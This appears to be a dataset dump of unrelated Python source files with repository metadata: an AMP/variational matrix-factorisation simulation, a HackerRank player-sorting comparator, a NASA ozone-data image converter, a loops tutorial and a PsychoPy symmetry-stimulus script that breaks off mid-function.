self._prior_density = np.prod(self._grid ** nu, axis = 1, keepdims=True)
self._grid_inner_prods = {}
for i in range(k):
for j in range(k):
t1 = self._grid[:, i].reshape(M, 1)
t2 = self._grid[:, j].reshape(M, 1)
self._grid_inner_prods[(i, j)] = t1 * t2
def _set_cache(self, A):
""" This function precomputes and caches some recurring computation in the integration process."""
Zeta = np.dot(self._grid, A.T)
Zeta2 = self._grid * Zeta
t1b = np.sum(Zeta2, axis = 1) / 2.0
M = self._grid.shape[0]
self._tilt_cache = t1b.reshape(M, 1)
def _fs(self, A, b, cache = False):
''' This function computes the first and second moments of
the posterior distribution. In addition,
the log(normalizing factor) of the distribution is also
computed. '''
b = b.reshape(len(b), 1)
k = int(self._k)
tol = self._integ_tol
N = int(1.0 / tol)
M = self._grid.shape[0]
# Computing the tilt to the density:
t1a = np.dot(self._grid, b)
# if the part of the tilt due to A is cached
if cache:
t1b = self._tilt_cache
else:
Zeta = np.dot(self._grid, A.T)
Zeta2 = self._grid * Zeta
t1b = np.sum(Zeta2, axis = 1) / 2.0
t1b = t1b.reshape(M, 1)
t1 = t1a - t1b
# computing the prior density
norm_const = np.max(t1) - 1.0
t2 = self._prior_density
density = np.exp(t1 - norm_const) * t2
# normalization factor
q = np.sum(density) / (N ** (k - 1) + 0.0)
if q <= 0:
raise Exception('Probability density has no mass')
# first moment
s = np.dot(density.T, self._grid).T / (N ** (k - 1) + 0.0)
s = s / np.sum(s) * q
# second moment
omega = np.zeros((k, k))
for i in range(k):
for j in range(i, k):
omega[i, j] = np.dot(density.T, self._grid_inner_prods[(i, j)]) / (N ** (k - 1) + 0.0)
omega[j, i] = omega[i, j]
# Scaling factor, first moment, second moment
return (np.log(q) + norm_const, s / q, omega / q)
def iteration(self):
""" This function does one iteration of estimation according to (Variational / AMP) method.
This is an abstract method and should be implemented in the lower level classes."""
pass
@staticmethod
def _min_permutation_error(X, Y):
""" For two n-by-m matrices with m<<n, this function computes the minimum
ell_infinity norm of the difference of the two matrices over all permutations
of the columns."""
n = X.shape[0]
m = X.shape[1]
if not ((Y.shape[0] == n) and (Y.shape[1] == m)):
raise Exception("The Dimensions are inconsistent")
permutations = list(itertools.permutations(range(m)))
N = len(permutations)
value = float("inf")
for perm in permutations:
X_temp = X[:, perm]
Z = X_temp - Y
temp = np.max(np.abs(Z))
value = np.min([value, temp])
return(value)
def estimate(self, verbose = False, memory_efficient = True):
""" This function runs an iterative estimation procedure for estimating W_hat and
H_hat. The function stops when the ell_infinity norm between two consequitive estimates
is small or the number of iterations has surpassed self._max_iters."""
self._iterations_taken = 0
convergence_criteria = float("inf")
while ((self._iterations_taken < self._min_iters) or ((convergence_criteria > self._tol) and (self._iterations_taken < self._max_iters))):
W_hat = np.copy(self._W_hat)
H_hat = np.copy(self._H_hat)
# Do one iteration of the estimator
self.iteration()
self._err[self._iterations_taken] = Simulation._min_permutation_error(W_hat, self._W_hat);
self._dist[self._iterations_taken, 0] = np.linalg.norm(self._W_hat - self._W_0)
self._dist[self._iterations_taken, 1] = np.linalg.norm(self._H_hat - self._H_0)
convergence_criteria = self._err[self._iterations_taken]
self._iterations_taken += 1
if verbose:
print(convergence_criteria)
if verbose:
print(self._iterations_taken)
self._converged = (self._iterations_taken < self._max_iters)
if np.isnan(convergence_criteria):
raise Exception('Convergence Criteria is NAN')
def release_memory(self):
"""This function deletes all of the high-dimensional matrices so that the object can be saved
in a memory efficient manner."""
del self._H
del self._W
del self._W_hat
del self._H_hat
del self._X
del self._Z
del self._W_0
del self._H_0
del self._grid
del self._prior_density
del self._tilt_cache
del self._grid_inner_prods
def compute_accuracy(self, verbose = False, Eigenvector_analysis = False):
""" This function computes accuracy statistics of the instance. Afterwards, memory consuming
attributes of the object are deleted. """
if not self._flag:
k = len(self._alpha)
# delta_W inner product and norms
zeta = np.mean(self._W, axis = 1).reshape((self._n, 1))
zeta = np.dot(zeta, np.ones((1, k)))
temp_W = self._W - zeta
zeta = np.mean(self._W_hat, axis = 1).reshape((self._n, 1))
self._W_ave_norm = np.linalg.norm(zeta)
zeta = np.dot(zeta, np.ones((1, k)))
temp_W2 = self._W_hat - zeta + self._binder_epsilon * np.random.normal(size = (self._n, k))
self._Wdiff_corr = np.corrcoef(temp_W.T, temp_W2.T)
self._Wdiff_in = np.dot(temp_W.T, temp_W2)
for i in range(k):
self._deltaW_norms[i, 0] = np.linalg.norm(temp_W[:, i])
self._deltaW_norms[i, 1] = np.linalg.norm(temp_W2[:, i])
self._Wdiff_norm = np.linalg.norm(temp_W2) / np.sqrt(self._n + 0.0)
# delta_H inner product and norms
zeta = np.mean(self._H, axis = 1).reshape((self._d, 1))
zeta = np.dot(zeta, np.ones((1, k)))
temp_H = self._H - zeta
zeta = np.mean(self._H_hat, axis = 1).reshape((self._d, 1))
self._H_ave_norm = np.linalg.norm(zeta)
zeta = np.dot(zeta, np.ones((1, k)))
temp_H2 = self._H_hat - zeta + self._binder_epsilon * np.random.normal(size = (self._d, k))
self._Hdiff_corr = np.corrcoef(temp_H.T, temp_H2.T)
self._Hdiff_in = np.dot(temp_H.T, temp_H2) / (self._d + 0.0)
for i in range(k):
self._deltaH_norms[i, 0] = np.linalg.norm(temp_H[:, i])
self._deltaH_norms[i, 1] = np.linalg.norm(temp_H2[:, i])
self._Hdiff_norm = np.linalg.norm(temp_H2) / np.sqrt(self._d + 0.0)
# Calculations Necessary for Binder Cumulant:
if k == 2:
temp_W2 = self._W_hat[:, 1] - self._W_hat[:, 0]
self._delta_W_norm = np.linalg.norm(temp_W2)
temp_W2 = temp_W2.reshape((self._n, 1)) + self._binder_epsilon * np.random.normal(size = (self._n, 1))
temp_W = self._W[:,1] - self._W[:, 0]
Wdiff_in = np.dot(temp_W.T, temp_W2)
self._delta_W_inner = Wdiff_in / (np.linalg.norm(temp_W) * np.linalg.norm(temp_W2))
temp_H2 = self._H_hat[:,1] - self._H_hat[:, 0]
self._delta_H_norm = np.linalg.norm(temp_H2)
temp_H2 = temp_H2.reshape((self._d, 1)) + self._binder_epsilon * np.random.normal(size = (self._d, 1))
temp_H = self._H[:,1] - self._H[:, 0]
Hdiff_in = np.dot(temp_H.T, temp_H2)
self._delta_H_inner = Hdiff_in / (np.linalg.norm(temp_H) * np.linalg.norm(temp_H2))
self._flag = True
self.release_memory()
class Variational_Simulation(Simulation):
"""This class is a sub-class of Simulation and
specializes it for variational inference method.
"""
def __init__(self, n, d, beta, alpha, iteration_tol, integration_tol, eps):
"""Instantiates the simulation by setting the fundamental parameters of
the problem."""
super(Variational_Simulation, self).__init__(n, d, beta, alpha, iteration_tol, integration_tol)
self._tq2 = 0
self._tq1 = 0
self._q1 = 0
self._q2 = 0
self._compute_initial_conds(eps)
k = len(alpha)
# Extra parameters associated with the Variational Estimator
self._Q = (self._q1 * np.identity(k) + self._q2 * np.ones((k, k)))
self._tQ = np.identity(k)
self._tG = np.zeros((k, k))
self._m = np.dot(self._X.T, self._W_hat) * np.sqrt(beta)
self._tm = np.dot(self._X, self._H_hat) * np.sqrt(beta)
self._kl = np.zeros((self._max_iters, 1))
self._energy1 = 0
def _compute_initial_conds(self, eps):
""" This function computes the uninformative fixed point of the model when there is no signal.
This fixed-point is perturbed and then used for initialization of the iterative algorithm. """
k = self._k + 0.0
k0 = int(self._k)
n = self._n + 0.0
d = self._d + 0.0
self._W_hat = np.ones((self._n, self._k)) / (k + 0.0)
self._W_0 = np.copy(self._W_hat)
# computing the H_0
tol_h_0 = 0.005
difference = 1000
q1 = 1
tq1 = 1
while (difference > tol_h_0):
tq1_hat = self._beta / (1.0 + q1)
lgq, mu, omega = self._fs(tq1_hat * np.eye(k0), np.zeros(k0))
q1_hat = self._beta * self._delta / (k - 1.0) * (k * omega[0, 0] - 1.0 / k)
difference = np.abs(q1 - q1_hat) + np.abs(tq1 - tq1_hat)
q1 = q1_hat
tq1 = tq1_hat
q2 = (self._delta * self._beta - k * q1) / (k ** 2 + 0.0)
m_star = np.dot(self._X.T, self._W_0)
self._tq2 = self._beta * ((np.linalg.norm(m_star) ** 2) / (k * d * (1 + q1 + k * q2) ** 2) \
- (q2) / ((1 + q1) * (1 + q1 + k * q2)))
self._q2 = q2
self._q1 = q1
self._tq1 = tq1
h_star = m_star * np.sqrt(self._beta) / (1.0 + q1 + k * q2)
self._H_hat = h_star
self._H_0 = np.copy(self._H_hat)
# Adding Perturbations:
temp = np.random.dirichlet(self._alpha, size = self._n)
temp = temp * np.linalg.norm(self._W_hat) / np.linalg.norm(temp)
self._W_hat = (1 - eps) * self._W_hat + eps * temp
temp = np.random.normal(0, 1, size = (self._d, self._k))
temp = temp * np.linalg.norm(self._H_hat) / np.linalg.norm(temp)
self._H_hat = (1 - eps) * self._H_hat + eps * temp
def release_memory(self):
super(Variational_Simulation, self).release_memory()
del self._m
del self._tm
del self._tG
def _compute_kl(self):
""" This function computes the KL-divergence of the variational posterior and the true posterior.
To save computation, constants are left out of the calculation. """
beta = self._beta + 0.0
n = self._n + 0.0
d = self._d + 0.0
k = len(self._alpha)
covariance = np.identity(k) + self._Q
covariance = np.linalg.inv(covariance)
F = np.sqrt(beta) * self._H_hat
tF = np.sqrt(beta) * self._W_hat
sG = np.dot(F.T, F) + d * beta * covariance
stG = self._tG
fit = np.dot(tF, F.T)
term1 = - 1.0 / np.sqrt(beta) * np.trace(np.dot(self._X.T, fit))
term1 += 1.0 / (2 * d * beta) * np.trace(np.dot(sG, stG))
term2 = 0
term2 = 1.0 / np.sqrt(beta) * np.trace(np.dot(self._tm, tF.T))
term2 += -1.0 / (2 * beta) * np.trace(np.dot(self._tQ, stG))
term2 += 1.0 / np.sqrt(beta) * np.trace(np.dot(self._m, F.T))
term2 += -1.0 / (2 * beta) * np.trace(np.dot(self._Q, sG))
term3 = 0
term3 += - self._energy1
determinant = np.linalg.det(covariance)
m_term = - np.sum(self._m * np.dot(self._m, covariance / 2.0), axis = 1)
term3 += - d * np.log(np.sqrt((2 * math.pi) ** k * determinant)) + np.sum(m_term)
self._kl[self._iterations_taken] = term1 + term2 + term3
def iteration(self):
""" This function does one iteration of Variational method.
In other words, it goes from W_t to W_{t+1}"""
beta = self._beta + 0.0
n = self._n + 0.0
d = self._d + 0.0
k = len(self._alpha)
# updating H_t
covariance = np.identity(k) + self._Q
covariance = np.linalg.inv(covariance)
F = np.sqrt(beta) * np.dot(self._m, covariance)
self._H_hat = F / np.sqrt(beta)
self._tm = np.dot(self._X, F)
self._tQ = np.dot(F.T, F) / d + beta * covariance
# deriving W_{t + 1}
self._energy1 = 0
tF = np.zeros((self._n, k))
self._tG = np.zeros((k, k))
self._set_cache(self._tQ)
for i in range(self._n):
q, mu, omega = self._fs(A = self._tQ, b = self._tm[i, :], cache = True)
tF[i, :] = np.sqrt(beta) * mu[:, 0]
self._tG += omega * beta
self._energy1 += q
self._W_hat = tF / np.sqrt(beta)
# Here Compute the KL
self._compute_kl()
self._m = np.dot(self._X.T, tF)
self._Q = self._tG / d
class AMP_Simulation(Simulation):
"""This class is a sub-class of Simulation and
specializes it for AMP estimator.
Extra Attributes:
_JW = Jacobian with respect to W_t
_JH = Jacobian with respect to H_t
"""
def __init__(self, n, d, beta, alpha, iteration_tol, integration_tol, eps):
"""Instantiates the simulation by setting the fundamental parameters of
the problem."""
super(AMP_Simulation, self).__init__(n, d, beta, alpha, iteration_tol, integration_tol)
k = len(alpha)
# Extra estimated parameters
self._Q = np.identity(k)
self._tQ = np.identity(k)
self._tG = np.zeros((k, k))
self._m = np.zeros((self._d, k))
self._tm = np.zeros((self._n, k))
self._kl = None
self._energy1 = 0
self.compute_initial_conds(eps)
def release_memory(self):
super(AMP_Simulation, self).release_memory()
del self._m
del self._tm
del self._tG
@staticmethod
def jacobian_W(omega, mu, q):
temp = np.outer(mu, mu)
return (omega - temp)
def iteration(self):
""" This function does one iteration of Variational method.
In other words, it goes from W_t to W_{t+1}"""
beta = self._beta + 0.0
n = self._n + 0.0
d = self._d + 0.0
k = len(self._alpha)
# updating H_t
covariance = np.identity(k) + self._Q
covariance = np.linalg.inv(covariance)
F = np.sqrt(beta) * np.dot(self._m, covariance)
self._H_hat = F / np.sqrt(beta)
B = np.sqrt(beta) * covariance
self._tm = np.dot(self._X, F) - np.dot(self._W_hat, B) * np.sqrt(beta)
self._tQ = np.dot(F.T, F) / d
# deriving W_{t + 1}
self._energy1 = 0
tF = np.zeros((self._n, k))
self._tG = np.zeros((k, k))
JW = np.zeros((k, k))
self._set_cache(self._tQ)
for i in range(self._n):
q, mu, omega = self._fs(A = self._tQ, b = self._tm[i, :], cache = True)
tF[i, :] = np.sqrt(beta) * mu[:, 0]
self._tG += omega * beta
JW += AMP_Simulation.jacobian_W(omega, mu, q)
self._energy1 += q
self._W_hat = tF / np.sqrt(beta)
C = JW / d * np.sqrt(beta)
self._m = np.dot(self._X.T, tF) - np.dot(F, C)
self._Q = np.dot(tF.T, tF) / d
def compute_initial_conds(self, eps):
""" This function computes the uninformative fixed point of the model when there is no signal.
This fixed-point is perturbed and then used for initialization of the iterative algorithm. """
k = self._k + 0.0
k0 = self._k
n = self._n + 0.0
d = self._d + 0.0
beta = self._beta
#compute Q
self._Q = np.ones((k0 , k0)) / (k ** 2) * (n / d) * beta
covariance = np.identity(k0) + self._Q
covariance = np.linalg.inv(covariance)
#compute tOmega
q, mu, tomg = self._fs(A = np.zeros((k0, k0)), b = np.zeros((k0, 1)))
tomega = (tomg - np.dot(mu, mu.T)) * (n / d)
temp = np.dot(covariance, tomega)[:, 0]
LHS = beta * np.dot(np.ones((1, k0)), temp)
RHS = np.sqrt(beta) * np.sum(self._X.T, axis = 1, keepdims = True) / k
self._m = RHS / (LHS + 1) * np.ones((self._d, k0))
F = np.sqrt(beta) * np.dot(self._m, covariance)
tF = np.ones((self._n, k0)) / k * np.sqrt(beta)
self._tQ = np.dot(F.T, F) / d
self._tm = np.dot(self._X, F) - np.sqrt(beta) * np.dot(tF, covariance)
self._W_hat = tF / np.sqrt(beta)
self._H_hat = F / np.sqrt(beta)
perturbation = np.random.normal(size = (int(d), k0))
NP = np.linalg.norm(perturbation)
NM = np.linalg.norm(self._m)
self._m += perturbation / NP * eps * NM
self._W_0 = np.copy(self._W_hat)
self._H_0 = np.copy(self._H_hat)
def _compute_energy(self):
pass
class Damped_AMP_Simulation(Simulation):
"""This class is a sub-class of Simulation and
specializes it for (Damped) AMP estimator.
Extra Attributes:
_JW = Jacobian with respect to W_t
_JH = Jacobian with respect to H_t
_gamma = The damping parameter
"""
def __init__(self, n, d, beta, alpha, iteration_tol, integration_tol, gamma, eps):
"""Instantiates the simulation by setting the fundamental parameters of
the problem."""
super(Damped_AMP_Simulation, self).__init__(n, d, beta, alpha, iteration_tol, integration_tol)
k = len(alpha)
# Extra estimated parameters
self._KW = np.zeros((k, k))
self._KH = np.zeros((k, k))
self._m = np.zeros((d, k))
self._tm = np.zeros((n, k))
# The damping parameter. Chosen from (0, 1]
self._gamma = gamma
self._tQ = np.identity(k)
self._Q = np.identity(k)
self.compute_initial_conds(eps)
def compute_initial_conds(self, eps):
k = self._k + 0.0
k0 = self._k
n = self._n + 0.0
d = self._d + 0.0
beta = self._beta
#compute Q
self._Q = np.ones((k0 , k0)) / (k ** 2) * (n / d) * beta
covariance = np.identity(k0) + self._Q
covariance = np.linalg.inv(covariance)
#compute tOmega
q, mu, tomg = self._fs(A = np.zeros((k0, k0)), b = np.zeros((k0, 1)))
tomega = (tomg - np.dot(mu, mu.T)) * (n / d)
temp = np.dot(covariance, tomega)[:, 0]
LHS = beta * np.dot(np.ones((1, k0)), temp)
RHS = np.sqrt(beta) * np.sum(self._X.T, axis = 1, keepdims = True) / k
self._m = RHS / (LHS + 1) * np.ones((self._d, k0))
F = np.sqrt(beta) * np.dot(self._m, covariance)
tF = np.ones((self._n, k0)) / k * np.sqrt(beta)
self._tQ = np.dot(F.T, F) / d
self._tm = np.dot(self._X, F) - np.sqrt(beta) * np.dot(tF, covariance)
self._W_hat = tF / np.sqrt(beta)
self._H_hat = F / np.sqrt(beta)
perturbation = np.random.normal(size = (int(d), k0))
NP = np.linalg.norm(perturbation)
NM = np.linalg.norm(self._m)
self._m += perturbation / NP * eps * NM
self._W_0 = np.copy(self._W_hat)
self._H_0 = np.copy(self._H_hat)
def iteration(self):
""" This function does one iteration of AMP method.
In other words, it goes from W_t to W_{t+1}"""
beta = self._beta + 0.0
d = self._d + 0.0
n = self._n + 0.0
k = len(self._alpha)
# Damping Parameter
gamma = self._gamma + 0.0
# updating H
covariance = np.identity(k) + self._Q
covariance = np.linalg.inv(covariance)
self._H_hat = np.dot(self._m, covariance)
F = self._H_hat * np.sqrt(beta)
JH = d * covariance
self._KH = (1 - gamma) * self._KH + JH
# Updating W_hat (weights)
self._tm = gamma * np.dot(self._X, F) + (1 - gamma) * self._tm \
- (gamma ** 2) * (beta / d) * np.dot(self._W_hat, self._KH)
self._tQ = np.dot(F.T, F) / d
JW = np.zeros((k, k))
self._set_cache(self._tQ)
for i in range(self._n):
q, mu, omega = self._fs(self._tQ, self._tm[i, :], cache = True)
self._W_hat[i, :] = mu[:, 0]
JW += AMP_Simulation.jacobian_W(omega, mu, q)
self._KW = (1 - gamma) * self._KW + JW
self._m = gamma * np.sqrt(beta) * np.dot(self._X.T, self._W_hat) \
+ (1 - gamma) * self._m - (beta / d) * (gamma ** 2) * np.dot(self._H_hat, self._KW.T)
self._Q = (beta / d) * (np.dot(self._W_hat.T, self._W_hat))
def release_memory(self):
super(Damped_AMP_Simulation, self).release_memory()
del self._m
del self._tm
| [
"noreply@github.com"
] | bGhorbani.noreply@github.com |
352fefeb4ea343b3c000635b5627547fd4fee3f3 | c6d77ad20cf623e6eff01ece708f7e7b2752c040 | /Sorting: Comparator.py | 67ecb6eba3fea02e1ae622f5da9e1b62e64a3148 | [] | no_license | pranshul2112/HackerRank | 3d9ca2e2ed4a9ba145e4f8db6bee4a380eeadfc7 | 9bf635117363efd1e5c2f6bf65ca458b3686da78 | refs/heads/master | 2022-11-14T13:28:33.971112 | 2020-07-11T19:36:37 | 2020-07-11T19:36:37 | 262,601,669 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 715 | py | from functools import cmp_to_key
class Player:
def __init__(self, name, score):
self.name = name
self.score = score
def __repr__(self):
return "{} {}".format(self.name, self.score)
def comparator(a, b):
if a.name is b.name and a.score is b.score:
return 0
elif a.score is b.score:
return 1 if a.name > b.name else -1
return 1 if a.score < b.score else -1
n = int(input())
data = []
for i in range(n):
name, score = input().split()
score = int(score)
player = Player(name, score)
data.append(player)
data = sorted(data, key=cmp_to_key(Player.comparator))
for i in data:
print(i.name, i.score)
| [
"noreply@github.com"
] | pranshul2112.noreply@github.com |
d4ca37c80edf919e49093cbc0544a23e7676b04f | 5654bd3d08a7ba33c8ded256a4b62ec3beaeb185 | /python/NasaDataConverter/mark.py | fdcf81fb9ec92990e6517a25d468d432c221cc81 | [] | no_license | wschodslonca/sdsz | 57043dc2939cab5a894aa560fafec4f261f5de01 | 5ea6a3c508c4b2b24d13b3c19da7ba6b1274041e | refs/heads/master | 2021-05-22T19:36:48.186761 | 2020-06-10T12:53:25 | 2020-06-10T12:53:25 | 253,047,283 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,429 | py | from areamarkers.areamarker import areamarker, list1d
from markdrawers.drawer import *
import os
import time
def main():
# pathfrom = '../resources/data/texts/2005/L3_ozone_omi_20051018.txt'
# pathto = '../resources/data/test/to/test.png'
# scraper = DataScraper(pathfrom)
# new = mark(scraper)
# convertToPng(pathto,scraper,None,new)
year = int(input("type year to convert: "))
todir = f"../../src/resources/img/sim/{year}/"
fromdir = f"resources/data/texts/{year}/"
if os.path.exists(fromdir):
if not os.path.exists(todir):
try:
os.mkdir(todir)
except:
print("unable to create dir")
exit(-1)
else:
print(f"no data in year {year}")
exit(-1)
start = time.time()
g = 1
for dirpath, dirnames, filenames in os.walk(fromdir):
filenames.sort()
for i in filenames:
frompath = os.path.join(dirpath, i)
print(frompath)
try:
scraper = DataScraper(frompath)
topath = todir + scraper.date + '.png'
temp = areamarker(scraper)
new = list1d(temp)
converttopng(topath, scraper, None, new)
except:
print("unable to convert")
g += 1
end = time.time()
print(end - start)
if __name__ == '__main__':
main()
| [
"lenox139st@gmail.com"
] | lenox139st@gmail.com |
3b383bca73c7c19fda1fe4eea52bb0918a5d55c5 | 16cb8cc18d92d4018f9ee3044565cf22d4daef70 | /Lab0/Python/7_Loops.py | 0e44f466e1bfeb11cff40ae4017307015a92b838 | [] | no_license | zx-joe/Computational-Motor-Control-for-Salamandar-Robot | c13ac105d73b283ac86c00a00a7b25b28e3713af | c66d23fb8365e4b12263bb4115a30d708d42dbb2 | refs/heads/master | 2022-12-12T12:23:57.573980 | 2020-09-08T09:05:28 | 2020-09-08T09:05:28 | 256,481,679 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,119 | py | #!/usr/bin/env python3
"""This script introduces you to the usage of Loops in Python.
Loops are useful to repeatedly to do a task over and over again.
Here we look at for and while loops in particular"""
import farms_pylog as pylog # import farms_pylog for log messages
### FOR LOOPS AND WHILE LOOPS ###
pylog.info(3*'\t' + 20*'#' + ' FOR AND WHILE LOOPS ' + 20*'#' + 3*'\n')
# range returns a list of integers (Python 2) or a sequence (Python 3)
# returns [0, 1, 2]: includes start value but excludes stop value
pylog.info('Using range method between 0 and 3 {}'.format(
list(range(0, 3))))
pylog.info('A very useful method for iteration')
pylog.warning('Includes start value but excludes the stop values')
list(range(3)) # equivalent: default start value is 0
list(range(0, 5, 2)) # returns [0, 2, 4]: third argument is the step value
# Python 2 only: use xrange to create a sequence rather than a list (saves
# memory)
list(range(100, 100000, 5))
# for loop (not the recommended style)
fruits = ['apple', 'banana', 'cherry']
pylog.warning('Not a Recommended style')
for i in range(len(fruits)):
pylog.info((fruits[i].upper()))
# for loop (recommended style)
pylog.warning('Recommended style')
for fruit in fruits:
pylog.info((fruit.upper()))
# iterate through two things at once (using tuple unpacking)
family = {'dad': 'homer', 'mom': 'marge', 'size': 6}
pylog.info('Iterating over two things at once :')
for key, value in list(family.items()):
pylog.info((key, value))
# use enumerate if you need to access the index value within the loop
pylog.info('Indexing the list')
for index, fruit in enumerate(fruits):
pylog.info((index, fruit))
# for/else loop
for fruit in fruits:
if fruit == 'banana':
pylog.info('Found the banana!')
break # exit the loop and skip the 'else' block
else:
# this block executes ONLY if the for loop completes without hitting
# 'break'
pylog.info("Can't find the banana")
# while loop
count = 0
while count < 5:
pylog.info('This will print 5 times')
count += 1 # equivalent to 'count = count + 1'
| [
"xiao.zhou@epfl.ch"
] | xiao.zhou@epfl.ch |
24fec9581990604235045666112daab4628ed59b | 6b395bed7c9fe05b08e2b8fc87d63c3c11e7be3c | /AP Lab/Modules/2.py | 9a726207c9ab3b7b189b7b94ff9dc6def34c6829 | [] | no_license | rohith1125/sem-5-labs | 46360686001abffbb9593d2e5f0977fad0467244 | a402ccee801d39e1c070cd8fe16723769203974f | refs/heads/main | 2023-02-07T11:51:25.593644 | 2021-01-04T06:04:59 | 2021-01-04T06:04:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 141 | py | import cmath
n = complex(input())
print("SIN: ", cmath.sin(n)) # n in degrees
print("SQRT: ", cmath.sqrt(n))
print("LOG: ", cmath.log(n)) | [
"devangraj.arora@gmail.com"
] | devangraj.arora@gmail.com |
9116ce7c08069c6b16143395c3f0886fb4b58e31 | 5c24336c033b5dd02f1022f9da3f0aee670c5b2f | /MATLAB Installed/BIDS_resources/P010_EX1/Code/SlidingOccluderStimMaker.py | 073d795024f42e1ca9c0021dbe3923904fcef309 | [
"CC0-1.0"
] | permissive | JohnTyCa/The-SPN-Catalogue | ab29e39ad42a1793f38448ac018dcf4918935013 | 75e729f867c275433b68807bc3f2228c57a3ccac | refs/heads/main | 2023-08-30T06:31:35.726302 | 2022-05-16T14:17:39 | 2022-05-16T14:17:39 | 321,381,577 | 2 | 0 | CC0-1.0 | 2022-05-16T14:17:40 | 2020-12-14T14:56:49 | Python | UTF-8 | Python | false | false | 14,750 | py | from numpy import * #many different maths functions
from numpy.random import * #maths randomisation functions
import os #handy system and path functions
from psychopy import visual, core, data, event, sound, gui,parallel #these are the psychopy libraries
import psychopy.logging #import like this so it doesn't interfere with numpy.log
from pyglet.gl import *
import math
#import visualExtra
import sys
#import OpenGL.GL, OpenGL.GL.ARB.multitexture, OpenGL.GLU
#from OpenGL import GLUT
#parallel.setPortAddress(0x378)#address for parallel port on many machines
#parallel.setData(0)
#
w=[1,1,1]
b=[-1,-1,-1]
r= [1,0,0]
dr=[0.,-1.,-1.]
dgy= [-.5,-.5,-.5]
lgy= [.5,.5,.5]
#
occludercolor= [.8,.8,.8]
myWinColor= [-.3,-.3,-.3]
#
myWin = visual.Window(allowGUI=False, units='pix', allowStencil=True, color= myWinColor, size=(800,800),fullscr = False) #size=(800,600)) # , monitor = 'EEG lab participant')#creates a window using pixels as units
myClock = core.Clock()
expName='SlidingOccluder'#from the Builder filename that created this script
expInfo={'N':00}
dlg=gui.DlgFromDict(dictionary=expInfo,title=expName)
if dlg.OK==False: core.quit() #user pressed cancel
expInfo['date']=data.getDateStr()#add a simple timestamp
expInfo['expName']=expName
filenamexlsx= 'data/%s_%s' %(expInfo['N'], expInfo['date'])
filenametxt= expName
expInfo['date']=data.getDateStr()#add a simple timestamp
expInfo['expName']=expName
if not os.path.isdir('data'):
os.makedirs('data')#if this fails (e.g. permissions) we will get error
#
#size=40
#ndots =20
#sizeE= 40
#maxheight= 200
#maxwidth= 140
#
size=40
ndots =100
sizeE= 80
maxheight= 180
insideH= 180
maxwidth= 100
insideW= 60
height = 140
width = 90
nstepsy= 12
nstepsx= 3
jump= 10
#
vertex = (((-maxwidth -(sizeE/2) ), (-maxheight)), ((maxwidth +(sizeE/2)), (-maxheight)),((maxwidth +(sizeE/2)), (maxheight)), ((-maxwidth-(sizeE/2)), (maxheight)))
#e= visual.Rect(myWin, width=sizeE, height=sizeE, lineColor=None, fillColor=[-1,-1,-1])
e= visual.Circle(myWin,interpolate=True,radius = sizeE/5,lineColor=dgy, fillColor= dgy)
basesquare= visual.ShapeStim(myWin, vertices = vertex, lineColor=b, fillColor=b, pos=(0,0))
fix=visual.TextStim(myWin, ori=0, text='+', pos=[0, 0], height=40, color=r, bold= True, colorSpace='rgb', units= 'pix',font='Times New Roman')
#fix=visual.Circle(myWin, pos=[0, 0], radius=6, lineColor=None, fillColor=r, units= 'pix')
responseScreen=visual.TextStim(myWin, ori=0,text = 'x', pos=[0,90], height=30, color=w, units= 'pix',font='Times New Roman')
#
#
x= -maxwidth -(sizeE)
y= maxheight +(sizeE)
vertOccl= ((x,-y), (0,-y), (0,y), (x,y))
#vertOccl= (((-maxwidth -(sizeE)), (-maxheight -(sizeE))), (0, (-maxheight -(sizeE))),(0, (maxheight + (sizeE))), (((-maxwidth -(sizeE))), (maxheight+ (sizeE))))
#Occl= visual.ShapeStim(myWin, vertices = vertOccl, lineColor=[1,-1.,-1.], fillColor=[0.,-1.,-1.], pos=(0,0))
Occl= visual.ShapeStim(myWin, lineColor=None, fillColor=None, pos=(0,0))#[0.,-1.,-1.]#
Occl.setVertices(vertOccl)
#Occluder= visual.ImageStim(myWin, image ='occluder.png', size= (180,520))
#
#
PolyL=visual.ShapeStim(myWin, lineColor=None, fillColor=None)
PolyR=visual.ShapeStim(myWin, lineColor=None, fillColor=None)
stimL =visual.ShapeStim(myWin, lineColor=None, fillColor=lgy)
stimR =visual.ShapeStim(myWin, lineColor=None, fillColor=lgy)
#
linea =visual.Rect(myWin, width=100, height=1.5, lineColor=(-1,-1,-1), fillColor=None)
marginL =visual.Line(myWin)
marginR =visual.Line(myWin)
#
#
def message(Type, nBlocksToGo = 1):
if Type == 'HelloPractice':
message = ('Welcome to the Practice Experiment. You will see LOTS of patterns. Your task is to decide whether they are reflection or random')
elif Type == 'HelloMain':
message = ('Now for the real thing, its the same, but much longer. Try not to blink, and keep your eyes on the central fixation point')
elif Type == 'Goodbye':
message = ('Thank you for taking part in the Experiment')
elif Type == 'Break':
message = '%d Blocks to go: Wait for experimenter to check electrodes!' %nBlocksToGo
Instructions=visual.TextStim(myWin, ori=0, text=message, pos=[0, 0], height=30, color='white', colorSpace='rgb', units= 'pix')
Instructions.draw()
myWin.flip()
def fixation():
#basesquare.draw()
fix.draw()
#
def preparepolygon(regularity, seedNo):
seed(seedNo)
coords =[]
coords.append([0,-height])
# x= 0
# stepx= width/nstepsx
# for i in range(nstepsx-1):
# x= x-stepx
# y= -height + randint(-20,20)
# coords.append([x,y])
coords.append([-width, -height])
y = -height
stepy = (height*2)/nstepsy
for i in range(nstepsy-1):
y = y +stepy
x = -width + randint(-40,40)
coords.append([x,y])
coords.append([-width, height])
# x= -width
# for i in range(nstepsx-1):
# x= x+stepx
# y= height + randint(-20,20)
# coords.append([x,y])
coords.append([0, height ])
coords.append([0, -height])
PolyL.setVertices(coords)
if regularity=='ref':
temp = []
for i in range(len(coords)):
temp.append([-coords[i][0],coords[i][1]])
PolyR.setVertices(temp)
if regularity == 'ran':
# the left side
coords =[]
coords.append([0,-height])
# x= 0
# stepx= width/nstepsx
# for i in range(nstepsx-1):
# x= x+stepx
# y= -height + randint(-20,20)
# coords.append([x,y])
coords.append([width, -height])
y = -height
stepy = (height*2)/nstepsy
for i in range(nstepsy-1):
y = y +stepy
x = width + randint(-40,40)
coords.append([x,y])
coords.append([width, height])
# x= width
# for i in range(nstepsx-1):
# x= x-stepx
# y= height + randint(-20,20)
# coords.append([x,y])
coords.append([ 0, height ])
coords.append([0, -height])
PolyR.setVertices(coords)
# PolyL.draw()
# PolyR.draw()
def colorpolygon():
